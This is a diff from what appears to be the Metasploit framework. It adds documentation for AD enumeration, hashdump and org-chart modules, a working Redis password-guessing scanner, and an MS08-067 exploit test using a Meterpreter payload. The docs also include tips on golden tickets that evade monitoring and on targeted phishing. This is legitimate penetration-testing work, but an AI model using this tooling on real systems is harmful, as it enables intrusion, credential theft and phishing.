+Sqlite3 supports a number of output formats (use .mode for all options). These can be used to
+easily present the searched data.
+
+For example, line mode is useful to see all fields in an easy to view form. The example query
+searches for all information about the user whose username is 'unprivileged.user'
+
+```
+sqlite> .mode line
+sqlite> select * from ad_users where u_sAMAccountName = "unprivileged.user";
+ u_rid = 1127
+ u_distinguishedName = CN=Unprivileged User,CN=Users,DC=goat,DC=stu
+ u_description = Do not delete. Default pass set to password123
+ u_displayName = Unprivileged User
+ u_sAMAccountType = 805306368
+ u_sAMAccountName = unprivileged.user
+ u_logonCount = 1
+ u_userAccountControl = 512
+ u_primaryGroupID = 513
+ u_cn = Unprivileged User
+ u_adminCount = 1
+ u_badPwdCount = 0
+ u_userPrincipalName = unprivileged.user@goat.stu
+ u_comment =
+ u_title =
+ u_manager = CN=Stuart Morgan - User,CN=Users,DC=goat,DC=stu
+ u_whenCreated = 2015-12-20 20:10:54.000
+ u_whenChanged = 2015-12-20 23:12:48.000
+ u_ADS_UF_SCRIPT = 0
+ u_ADS_UF_ACCOUNTDISABLE = 0
+ u_ADS_UF_HOMEDIR_REQUIRED = 0
+ u_ADS_UF_LOCKOUT = 0
+ u_ADS_UF_PASSWD_NOTREQD = 0
+ u_ADS_UF_PASSWD_CANT_CHANGE = 0
+ u_ADS_UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0
+ u_ADS_UF_TEMP_DUPLICATE_ACCOUNT = 0
+ u_ADS_UF_NORMAL_ACCOUNT = 1
+ u_ADS_UF_INTERDOMAIN_TRUST_ACCOUNT = 0
+ u_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 0
+ u_ADS_UF_SERVER_TRUST_ACCOUNT = 0
+ u_ADS_UF_DONT_EXPIRE_PASSWD = 0
+ u_ADS_UF_MNS_LOGON_ACCOUNT = 0
+ u_ADS_UF_SMARTCARD_REQUIRED = 0
+ u_ADS_UF_TRUSTED_FOR_DELEGATION = 0
+ u_ADS_UF_NOT_DELEGATED = 0
+ u_ADS_UF_USE_DES_KEY_ONLY = 0
+ u_ADS_UF_DONT_REQUIRE_PREAUTH = 0
+ u_ADS_UF_PASSWORD_EXPIRED = 0
+u_ADS_UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0
+ u_SAM_DOMAIN_OBJECT = 0
+ u_SAM_GROUP_OBJECT = 0
+ u_SAM_NON_SECURITY_GROUP_OBJECT = 0
+ u_SAM_ALIAS_OBJECT = 0
+ u_SAM_NON_SECURITY_ALIAS_OBJECT = 0
+ u_SAM_NORMAL_USER_ACCOUNT = 1
+ u_SAM_MACHINE_ACCOUNT = 0
+ u_SAM_TRUST_ACCOUNT = 0
+ u_SAM_APP_BASIC_GROUP = 0
+ u_SAM_APP_QUERY_GROUP = 0
+ u_SAM_ACCOUNT_TYPE_MAX = 0
+```
+
+SQLite can generate output in HTML format with headers. For example, the query below displays the
+username, email address and number of times that the user has logged on for all users who have a
+manager with the word 'Stuart' somewhere in the DN.
+
+```
+sqlite> .mode html
+sqlite> .headers on
+sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
+
u_sAMAccountName
+
u_userPrincipalName
+
u_logonCount
+
+
unprivileged.user
+
unprivileged.user@goat.stu
+
1
+
+sqlite>
+```
+
+The same query can be used in INSERT mode, in which the results will be displayed as a series of
+SQL insert statements for importing into another database:
+
+```
+sqlite> .mode insert
+sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
+INSERT INTO table(u_sAMAccountName,u_userPrincipalName,u_logonCount) VALUES('unprivileged.user','unprivileged.user@goat.stu',1);
+```
+
+The default mode (list) will display the results with a pipe character separating the fields:
+
+```
+sqlite> .mode list
+sqlite> select u_sAMAccountName,u_userPrincipalName,u_logonCount from ad_users where u_manager LIKE '%Stuart%';
+u_sAMAccountName u_userPrincipalName u_logonCount
+unprivileged.user unprivileged.user@goat.stu 1
+```
+
+There are a number of other ways that this information could be presented; please play with SQLite
+in order to learn how to use them.
+
+## Example Queries
+
+A number of example queries are shown below, in order to give an idea of how easy it is to build up
+complex queries.
+
+Search for all users who have a title, description or comment and display this information along
+with their username:
+
+```
+select u_sAMAccountName,u_title,u_description,u_comment from ad_users where (u_title != "" or u_description != "" or u_comment != "");
+```
+
+Display all stored fields for all users whose accounts are not disabled, have a password that does
+not expire, have a name starting with 'Frank' and have logged on more than once.
+
+```
+select * from ad_users where u_ADS_UF_ACCOUNTDISABLE=0 and u_ADS_UF_DONT_EXPIRE_PASSWD=1 and u_cn LIKE 'Frank%' and u_logonCount>1;
+```
+
+Get the list of group RIDs that have a name which do not have the word 'admin' in them somewhere
+(perhaps useful to construct a golden ticket with access to pretty much all groups except anything
+with 'admin' in it), might be useful to evade a very basic form of monitoring perhaps?
+
+```
+select DISTINCT g_rid from ad_groups where g_sAMAccountName NOT LIKE '%admin%';
+```
+
+Search for all users who are members of the 'Domain Admins' group and display their username.
+Note that this will include those in nested groups.
+
+```
+select u_sAMAccountName from view_mapping where g_sAMAccountName = 'Domain Admins';
+```
+
+Show the groups that the user 'stufus' is a member of and write the output to /tmp/groups.txt
+(e.g. for usage in a different tool):
+
+```
+.once /tmp/groups.txt
+select g_sAMAccountName from view_mapping where u_sAMAccountName = 'stufus';
+```
+
+Imagine you have compromised passwords or accounts for user1, user2, user3 and user4. Show the AD
+groups which, between them all, you have access to.
+
+```
+select DISTINCT g_sAMAccountName from view_mapping where u_sAMAccountName IN ('user1','user2','user3','user4');
+```
+
+Retrieve the list of group names common to both 'user1' and 'user2' and display the group RID,
+group name and group description. This could be useful if you were aware that both these users
+are in a group that has access to a very specific resource but are in a large number of separate
+other groups.
+
+```
+select v1.g_rid,v1.g_sAMAccountName,v1.g_description FROM view_mapping v1 INNER JOIN view_mapping v2 ON v1.g_rid = v2.g_rid where v1.u_sAMAccountName = 'user1' and v2.u_sAMAccountName = 'user2';
+```
+
+Show the name, DNS hostname and OS information for each of the computers in the domain:
+
+```
+select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers;
+```
+
+Display the same columns as above but only show machines in the 'Domain Controllers' OU (you can't
+normally search by DN because it isn't a "real" attribute when querying through LDAP, but as it is
+a normal text field in the database, you can use regular expressions and normal string matching):
+
+```
+select c_cn,c_dNSHostName,c_operatingSystem,c_operatingSystemVersion,c_operatingSystemServicePack from ad_computers where c_distinguishedName LIKE '%OU=Domain Controllers%';
+```
+
+Show all fields for computers that have the c_ADS_UF_WORKSTATION_TRUST_ACCOUNT set to 1 (which
+seems to be everything except domain controllers) on my test system:
+
+```
+select * from ad_computers where c_ADS_UF_WORKSTATION_TRUST_ACCOUNT = 1;
+```
+
+Show all fields for computers whose operating system is Windows XP, Windows 2000 or Windows 2003
+(note that you need regular expression support in SQLite):
+
+```
+select * from ad_computers where c_operatingSystem REGEXP '(XP|200[03])';
+```
+
+...and if you don't have regular expression support:
+
+```
+select * from ad_computers where c_operatingSystem LIKE '%XP%' OR c_operatingSystem LIKE '%2000%' OR c_operatingSystem LIKE '%2003%';
+```
+
+Search for all members of all groups who are (amongst other things) members of any group managed
+by anyone whose CN starts with 'Unprivileged User' and return their username only:
+
+```
+select DISTINCT u_sAMAccountName from view_mapping where g_rid IN (select g_rid from view_mapping where g_managedBy LIKE 'CN=Unprivileged User%');
+```
+
+## Scenarios
+
+**Group Policy Objects**
+
+This cannot be used to gain a complete understanding of effective permissions because it does not
+analyze group policy objects. For example, a group policy may add inconspicuous groups to
+privileged groups and privileged groups, such as Domain Admins, may be removed from local
+administrator groups due to GPP. Therefore, this will give a reliable overview of the effective
+'static' permissions but cannot be completely relied on for overall effective permissions.
+
+**Domain Controller interaction**
+
+The acquisition of domain information does involve repeated queries against the domain controllers.
+However, all interaction with AD uses native functionality and has not been noted to cause
+performance problems when tested. This was recently tested on a live engagement on a domain that
+has just under 11,000 groups and a similar number of users. Admittedly it took about an hour to
+pull down everything (as opposed to the 1 minute to replicate the LDAP database) but the final
+database size was 19,255,296 bytes, so perfectly manageable.
diff --git a/documentation/modules/post/windows/gather/hashdump.md b/documentation/modules/post/windows/gather/hashdump.md
new file mode 100644
index 0000000000..7e284e76fa
--- /dev/null
+++ b/documentation/modules/post/windows/gather/hashdump.md
@@ -0,0 +1,46 @@
+The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command.
+
+Having this feature as a post module allows it to be used in different penetration testing scenarios.
+
+
+## Vulnerable Application
+
+---
+
+To be able to use post/gather/hash_dump, you must meet these requirements:
+
+* You are on a Meterpreter type session.
+* The target is a Windows platform.
+* It must be executed under the context of a high privilege account, such as SYSTEM.
+
+## Verification Steps
+
+---
+
+Please see Overview for usage.
+
+## Scenarios
+
+---
+
+**Upgrading to Meterpreter**
+
+To be able to use this module, a Meterpreter session is needed. To upgrade to a Meterpreter session, the easiest way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try:
+
+1. Use the exploit/multi/script/web_delivery module.
+2. Manually generate a Meterpreter executable, upload it, and execute it.
+
+**High Privilege Account**
+
+Before using post/gather/hashdump, there is a possibility you need to escalate your privileges.
+
+There are a few common options to consider:
+
+* Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you
+ which exploits might be suitable for the remote target.
+* The getsystem command in Meterpreter.
+* Stolen passwords.
+
+**Hashdump From Multiple Sessions**
+
+One major advantage of having hashdump as a post module is you can run against it multiple hosts easily. To learn how, refer to Overview for usage.
diff --git a/documentation/modules/post/windows/gather/make_csv_orgchart.md b/documentation/modules/post/windows/gather/make_csv_orgchart.md
new file mode 100644
index 0000000000..bd1882b99a
--- /dev/null
+++ b/documentation/modules/post/windows/gather/make_csv_orgchart.md
@@ -0,0 +1,85 @@
+This module can be used to aid the generation of an organizational chart based on information
+contained in Active Directory. The module itself uses ADSI to retrieve key information from AD
+(manager, title, description etc) fields and then present it in a CSV file in the form:
+
+```
+cn,description,title,phone,department,division,e-mail,company,reports_to
+```
+
+The reports_to field is the only one which is generated; everything else is taken directly from AD.
+The 'manager' field contains the DN of the manager assigned to that user, and this module simply
+uses a regular expression to obtain the CN field of the manager.
+
+This can then be imported into tools like [Microsoft Visio](https://products.office.com/en-us/visio/flowchart-software)
+(using the organizational chart wizard) and it will construct a visual org chart from the
+information there. Although visio supports the ability to generate Org charts if it is on a domain
+joined machine, but there does not seem to be a way of doing this remotely (e.g. during a
+red teaming exercise).
+
+This should not be confused with security groups and AD managed groups; this is purely an
+internal organizational hierarchy representation but could be very useful for situational awareness
+or in order to construct a more plausible or targeted internal phishing exercise.
+
+# Options
+
+Option | Value
+-------------------| ---
+ACTIVE_USERS_ONLY | This will restrict the search for users to those whose accounts are Active. This would have the effect of excluding disabled accounts (e.g. employees who have resigned).
+FILTER | Any additional LDAP filtering that is required when searching for users.
+WITH_MANAGERS_ONLY | If this is TRUE, the module will only include users who have a manger set (internally, this is implemented by adding (manager=*) to the ADSI query filter). This could be useful if not everyone has a manager set, but could mean that the top executive is not included either.
+STORE_LOOT | Store the results in a CSV file in loot. You'll almost certainly want this set to TRUE.
+
+# Demo
+
+For the purposes of this contrived example, the module has been configured to generate the CSV
+reporting information for everyone with 'IT' somewhere in their common name.
+
+```
+msf post(make_csv_orgchart) > show options
+
+Module options (post/windows/gather/make_csv_orgchart):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ ACTIVE_USERS_ONLY true yes Only include active users (i.e. not disabled ones)
+ DOMAIN no The domain to query or distinguished name (e.g. DC=test,DC=com)
+ FILTER cn=*IT* no Additional LDAP filter to use when searching for users
+ MAX_SEARCH 500 yes Maximum values to retrieve, 0 for all.
+ SESSION 2 yes The session to run this module on.
+ STORE_LOOT true yes Store the organisational chart information in CSV format in loot
+ WITH_MANAGERS_ONLY false no Only users with managers
+
+msf post(make_csv_orgchart) > run
+
+Users & Managers
+================
+
+ cn description title phone department division e-mail company reports_to
+ -- ----------- ----- ----- ---------- -------- ------ ------- ----------
+ IT Manager Deputy GOAT IT Director it.manager@goat.stu IT Director
+ IT Director Director of Goat IT it.director@goat.stu
+ IT Leader: Badger Team Leader of Blue Team Operations it.leader.badger@goat.stu IT Manager
+ IT Leader: Otter Team Leader: Offensive Operations it.leader.otter@goat.stu IT Manager
+ Oswold Otter (IT Team) Consultant oswold.otter@goat.stu IT Leader: Otter
+ Bertie Badger (IT Security Team) Default pass is badger123 IT Security Team Deputy bertie.badger@goat.stu IT Leader: Badger
+
+[*] CSV Organisational Chart Information saved to: /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
+[*] Post module execution completed
+```
+
+The contents of the CSV file are shown below:
+
+```
+$ cat /usr/home/s/stuart/.msf4/loot/20151221175733_stufusdev_192.0.2.140_ad.orgchart_189769.txt
+cn,description,title,phone,department,division,e-mail,company,reports_to
+"IT Manager","","Deputy GOAT IT Director","","","","it.manager@goat.stu","","IT Director"
+"IT Director","","Director of Goat IT","","","","it.director@goat.stu","",""
+"IT Leader: Badger","","Team Leader of Blue Team Operations","","","","it.leader.badger@goat.stu","","IT Manager"
+"IT Leader: Otter","","Team Leader: Offensive Operations","","","","it.leader.otter@goat.stu","","IT Manager"
+"Oswold Otter (IT Team)","","Consultant","","","","oswold.otter@goat.stu","","IT Leader: Otter"
+"Bertie Badger (IT Security Team)","Default pass is badger123","IT Security Team Deputy","","","","bertie.badger@goat.stu","","IT Leader: Badger"
+```
+
+When this was imported into Visio with default options set, it produced the following organisational chart:
+
+![screenshot_orgchart](https://cloud.githubusercontent.com/assets/12296344/11937572/f5906320-a80c-11e5-8faa-6439872df362.png)
diff --git a/external/zsh/_msfconsole b/external/zsh/_msfconsole
index 1a012fb62c..6cf529e91b 100644
--- a/external/zsh/_msfconsole
+++ b/external/zsh/_msfconsole
@@ -23,7 +23,6 @@
_arguments \
{-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \
"-c[Load the specified configuration file]:configuration file:_files" \
- {-d,--defanged}"[Execute the console as defanged]" \
{-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \
{-h,--help}"[Show help text]" \
{-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \
diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature
index e23730be1c..fa6001a720 100644
--- a/features/modules/exploit/smb/ms08_067_netapi.feature
+++ b/features/modules/exploit/smb/ms08_067_netapi.feature
@@ -1,181 +1,27 @@
-@wip
+@targets @db
Feature: MS08-067 netapi
Background:
Given a directory named "home"
And I cd to "home"
And a mocked home directory
- Given I run `msfconsole` interactively
- And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
- Scenario: The MS08-067 Module should have the following options
- When I type "use exploit/windows/smb/ms08_067_netapi"
- And I type "show options"
- And I type "exit"
- Then the output should contain:
+ Scenario: The MS08-067 should get a session with bind_tcp
+ Given I ready the windows targets
+ Given a file named "ms08-067-bind.rc" with:
"""
- Module options (exploit/windows/smb/ms08_067_netapi):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOST yes The target address
- RPORT 445 yes Set the SMB service port
- SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
-
-
- Exploit target:
-
- Id Name
- -- ----
- 0 Automatic Targeting
-
+
+ hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
+ self.run_single('use exploit/windows/smb/ms08_067_netapi')
+ self.run_single('set payload windows/meterpreter/bind_tcp')
+ hosts.each do |host|
+ self.run_single("set RHOST #{host['ipAddress']}")
+ self.run_single('run -j')
+ sleep 1
+ end
+ self.run_single('sessions -K')
+
"""
-
- Scenario: The MS08-067 Module should have the following advanced options
- When I type "use exploit/windows/smb/ms08_067_netapi"
- And I type "show advanced"
- And I type "exit"
- Then the output should contain:
- """
- Module advanced options:
-
- Name : CHOST
- Current Setting:
- Description : The local client address
-
- Name : CPORT
- Current Setting:
- Description : The local client port
-
- Name : ConnectTimeout
- Current Setting: 10
- Description : Maximum number of seconds to establish a TCP connection
-
- Name : ContextInformationFile
- Current Setting:
- Description : The information file that contains context information
-
- Name : DCERPC::ReadTimeout
- Current Setting: 10
- Description : The number of seconds to wait for DCERPC responses
-
- Name : DisablePayloadHandler
- Current Setting: false
- Description : Disable the handler code for the selected payload
-
- Name : EnableContextEncoding
- Current Setting: false
- Description : Use transient context when encoding payloads
-
- Name : NTLM::SendLM
- Current Setting: true
- Description : Always send the LANMAN response (except when NTLMv2_session is
- specified)
-
- Name : NTLM::SendNTLM
- Current Setting: true
- Description : Activate the 'Negotiate NTLM key' flag, indicating the use of
- NTLM responses
-
- Name : NTLM::SendSPN
- Current Setting: true
- Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow
- authentification on windows Seven/2008r2 when SPN is required
-
- Name : NTLM::UseLMKey
- Current Setting: false
- Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
- when the LM response is sent
-
- Name : NTLM::UseNTLM2_session
- Current Setting: true
- Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
- NTLMv2_session
-
- Name : NTLM::UseNTLMv2
- Current Setting: true
- Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
- is true
-
- Name : Proxies
- Current Setting:
- Description : A proxy chain of format type:host:port[,type:host:port][...]
-
- Name : SMB::ChunkSize
- Current Setting: 500
- Description : The chunk size for SMB segments, bigger values will increase
- speed but break NT 4.0 and SMB signing
-
- Name : SMB::Native_LM
- Current Setting: Windows 2000 5.0
- Description : The Native LM to send during authentication
-
- Name : SMB::Native_OS
- Current Setting: Windows 2000 2195
- Description : The Native OS to send during authentication
-
- Name : SMB::VerifySignature
- Current Setting: false
- Description : Enforces client-side verification of server response signatures
-
- Name : SMBDirect
- Current Setting: true
- Description : The target port is a raw SMB service (not NetBIOS)
-
- Name : SMBDomain
- Current Setting: .
- Description : The Windows domain to use for authentication
-
- Name : SMBName
- Current Setting: *SMBSERVER
- Description : The NetBIOS hostname (required for port 139 connections)
-
- Name : SMBPass
- Current Setting:
- Description : The password for the specified username
-
- Name : SMBUser
- Current Setting:
- Description : The username to authenticate as
-
- Name : SSL
- Current Setting: false
- Description : Negotiate SSL for outgoing connections
-
- Name : SSLCipher
- Current Setting:
- Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
-
- Name : SSLVerifyMode
- Current Setting: PEER
- Description : SSL verification method (Accepted: CLIENT_ONCE,
- FAIL_IF_NO_PEER_CERT, NONE, PEER)
-
- Name : SSLVersion
- Current Setting: SSL3
- Description : Specify the version of SSL that should be used (Accepted: SSL2,
- SSL3, TLS1)
-
- Name : VERBOSE
- Current Setting: false
- Description : Enable detailed status messages
-
- Name : WORKSPACE
- Current Setting:
- Description : Specify the workspace for this module
-
- Name : WfsDelay
- Current Setting: 0
- Description : Additional delay when waiting for a session
- """
-
- @targets
- Scenario: Show RHOST/etc variable expansion from a config file
- When I type "use exploit/windows/smb/ms08_067_netapi"
- When RHOST is WINDOWS
- And I type "set PAYLOAD windows/meterpreter/bind_tcp"
- And I type "show options"
- And I type "run"
- And I type "exit"
- And I type "exit"
- Then the output should match /spider-wxp/
+ When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
+ Then the 'Mdm::Host' table contains the expected targets
+
\ No newline at end of file
diff --git a/features/step_definitions/targets.rb b/features/step_definitions/targets.rb
deleted file mode 100644
index 7c14393d0e..0000000000
--- a/features/step_definitions/targets.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-When /^targets are loaded$/ do
- config_file = File.expand_path('features/support/targets.yml')
- fail "Target config file #{config_file} does not exist" unless File.exists?(config_file)
- @target_config = YAML.load_file(config_file)
-end
-
-When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type|
- fail "No target type #{target_type}" unless @target_config.key?(target_type)
- step "I type \"set #{type} #{@target_config[target_type]}\""
-end
diff --git a/features/support/hooks.rb b/features/support/hooks.rb
index ff8ec3133c..0707c96444 100644
--- a/features/support/hooks.rb
+++ b/features/support/hooks.rb
@@ -26,4 +26,9 @@ unless Bundler.settings.without.include?(:coverage)
# set environment variable so child processes will merge their coverage data with parent process's coverage data.
set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}")
end
+
+ Before('@db') do |scenario|
+ dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname))
+ ActiveRecord::Base.establish_connection(dbconfig["test"])
+ end
end
diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example
index 75f4b9915d..0752a6cc7e 100644
--- a/features/support/targets.yml.example
+++ b/features/support/targets.yml.example
@@ -1,2 +1,7 @@
-WINDOWS: spider-wxp.vuln.lax.rapid7.com
-LINUX: spider-ubuntu.vuln.lax.rapid7.com
+windows:
+ -
+ hostname: wxpsp0
+ ip: 127.0.0.100
+ -
+ hostname: wxpsp2
+ ip: 127.0.0.101
diff --git a/lib/metasploit/framework/command/console.rb b/lib/metasploit/framework/command/console.rb
index 797d8dcdc0..cc28346152 100644
--- a/lib/metasploit/framework/command/console.rb
+++ b/lib/metasploit/framework/command/console.rb
@@ -80,7 +80,6 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
driver_options['DatabaseYAML'] = options.database.config
driver_options['DeferModuleLoads'] = options.modules.defer_loads
- driver_options['Defanged'] = options.console.defanged
driver_options['DisableBanner'] = options.console.quiet
driver_options['DisableDatabase'] = options.database.disable
driver_options['LocalOutput'] = options.console.local_output
diff --git a/lib/metasploit/framework/common_engine.rb b/lib/metasploit/framework/common_engine.rb
index f098144dc7..e968b0f75f 100644
--- a/lib/metasploit/framework/common_engine.rb
+++ b/lib/metasploit/framework/common_engine.rb
@@ -36,7 +36,7 @@ module Metasploit::Framework::CommonEngine
config.paths.add 'data/meterpreter', glob: '**/ext_*'
config.paths.add 'modules'
- config.active_support.deprecation = :notify
+ config.active_support.deprecation = :stderr
#
# `initializer`s
diff --git a/lib/metasploit/framework/login_scanner/caidao.rb b/lib/metasploit/framework/login_scanner/caidao.rb
index 28eb0a7c7b..1907f96a4a 100644
--- a/lib/metasploit/framework/login_scanner/caidao.rb
+++ b/lib/metasploit/framework/login_scanner/caidao.rb
@@ -43,6 +43,7 @@ module Metasploit
def set_sane_defaults
self.method = "POST" if self.method.nil?
+ super
end
# Actually doing the login. Called by #attempt_login
diff --git a/lib/metasploit/framework/login_scanner/redis.rb b/lib/metasploit/framework/login_scanner/redis.rb
new file mode 100644
index 0000000000..dc0d12f3b0
--- /dev/null
+++ b/lib/metasploit/framework/login_scanner/redis.rb
@@ -0,0 +1,91 @@
+require 'metasploit/framework/login_scanner/base'
+require 'metasploit/framework/login_scanner/rex_socket'
+require 'metasploit/framework/tcp/client'
+
+module Metasploit
+ module Framework
+ module LoginScanner
+
+ # This is the LoginScanner class for dealing with REDIS.
+ # It is responsible for taking a single target, and a list of credentials
+ # and attempting them. It then saves the results.
+
+ class Redis
+ include Metasploit::Framework::LoginScanner::Base
+ include Metasploit::Framework::LoginScanner::RexSocket
+ include Metasploit::Framework::Tcp::Client
+
+ DEFAULT_PORT = 6379
+ LIKELY_PORTS = [ DEFAULT_PORT ]
+ LIKELY_SERVICE_NAMES = [ 'redis' ]
+ PRIVATE_TYPES = [ :password ]
+ REALM_KEY = nil
+
+ # This method can create redis command which can be read by redis server
+ def redis_proto(command_parts)
+ return if command_parts.blank?
+ command = "*#{command_parts.length}\r\n"
+ command_parts.each do |p|
+ command << "$#{p.length}\r\n#{p}\r\n"
+ end
+ command
+ end
+
+ # This method attempts a single login with a single credential against the target
+ # @param credential [Credential] The credential object to attempt to login with
+ # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
+ def attempt_login(credential)
+ result_options = {
+ credential: credential,
+ status: Metasploit::Model::Login::Status::INCORRECT,
+ host: host,
+ port: port,
+ protocol: 'tcp',
+ service_name: 'redis'
+ }
+
+ disconnect if self.sock
+
+ begin
+ connect
+ select([sock], nil, nil, 0.4)
+
+ command = redis_proto(['AUTH', "#{credential.private}"])
+ sock.put(command)
+ result_options[:proof] = sock.get_once
+
+ # No password - ( -ERR Client sent AUTH, but no password is set\r\n )
+ # Invalid password - ( -ERR invalid password\r\n )
+ # Valid password - (+OK\r\n)
+
+ if result_options[:proof] && result_options[:proof] =~ /but no password is set/i
+ result_options[:status] = Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
+ elsif result_options[:proof] && result_options[:proof] =~ /^-ERR invalid password/i
+ result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
+ elsif result_options[:proof] && result_options[:proof][/^\+OK/]
+ result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
+ end
+
+ rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
+ result_options.merge!(
+ proof: e,
+ status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
+ )
+ end
+ disconnect if self.sock
+ ::Metasploit::Framework::LoginScanner::Result.new(result_options)
+ end
+
+ private
+
+ # (see Base#set_sane_defaults)
+ def set_sane_defaults
+ self.connection_timeout ||= 30
+ self.port ||= DEFAULT_PORT
+ self.max_send_size ||= 0
+ self.send_delay ||= 0
+ end
+ end
+ end
+ end
+end
diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb
index 069d1de5ec..cdc4bf71c9 100644
--- a/lib/metasploit/framework/login_scanner/ssh.rb
+++ b/lib/metasploit/framework/login_scanner/ssh.rb
@@ -78,7 +78,7 @@ module Metasploit
opt_hash
)
end
- rescue ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
+ rescue OpenSSL::Cipher::CipherError, ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e
result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
rescue Net::SSH::Exception
result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: e)
diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb
index 66052a00d6..0789cf06ae 100644
--- a/lib/metasploit/framework/parsed_options/console.rb
+++ b/lib/metasploit/framework/parsed_options/console.rb
@@ -10,7 +10,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.commands = []
options.console.confirm_exit = false
- options.console.defanged = false
options.console.local_output = nil
options.console.plugins = []
options.console.quiet = false
@@ -40,10 +39,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.confirm_exit = true
end
- option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
- options.console.defanged = true
- end
-
option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do
options.console.real_readline = true
end
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 503ca905d8..2fb8817399 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
end
end
- VERSION = "4.11.9"
+ VERSION = "4.11.21"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb
index 4878180280..ca31d16d87 100644
--- a/lib/msf/base/config.rb
+++ b/lib/msf/base/config.rb
@@ -27,7 +27,7 @@ class Config < Hash
# @return [String] the base configuration directory
def self.get_config_root
- # Use MSFCFGDIR environment variable first. See feature request #5797
+ # Use MSF_CFGROOT_CONFIG environment variable first.
val = Rex::Compat.getenv('MSF_CFGROOT_CONFIG')
if (val and File.directory?(val))
return val
diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb
index e912cbb6f5..c4c2838cd1 100644
--- a/lib/msf/base/serializer/readable_text.rb
+++ b/lib/msf/base/serializer/readable_text.rb
@@ -400,8 +400,7 @@ class ReadableText
'Description'
])
- mod.options.sorted.each { |entry|
- name, opt = entry
+ mod.options.sorted.each do |name, opt|
val = mod.datastore[name] || opt.default
next if (opt.advanced?)
@@ -409,7 +408,7 @@ class ReadableText
next if (missing && opt.valid?(val))
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
- }
+ end
return tbl.to_s
end
@@ -420,24 +419,23 @@ class ReadableText
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_advanced_options(mod, indent = '')
- output = ''
- pad = indent
+ tbl = Rex::Ui::Text::Table.new(
+ 'Indent' => indent.length,
+ 'Columns' =>
+ [
+ 'Name',
+ 'Current Setting',
+ 'Required',
+ 'Description'
+ ])
- mod.options.sorted.each { |entry|
- name, opt = entry
+ mod.options.sorted.each do |name, opt|
+ next unless opt.advanced?
+ val = mod.datastore[name] || opt.default
+ tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
+ end
- next if (!opt.advanced?)
-
- val = mod.datastore[name] || opt.default.to_s
- desc = word_wrap(opt.desc, indent.length + 3)
- desc = desc.slice(indent.length + 3, desc.length)
-
- output << pad + "Name : #{name}\n"
- output << pad + "Current Setting: #{val}\n"
- output << pad + "Description : #{desc}\n"
- }
-
- return output
+ return tbl.to_s
end
# Dumps the evasion options associated with the supplied module.
@@ -446,25 +444,23 @@ class ReadableText
# @param indent [String] the indentation to use.
# @return [String] the string form of the information.
def self.dump_evasion_options(mod, indent = '')
- output = ''
- pad = indent
+ tbl = Rex::Ui::Text::Table.new(
+ 'Indent' => indent.length,
+ 'Columns' =>
+ [
+ 'Name',
+ 'Current Setting',
+ 'Required',
+ 'Description'
+ ])
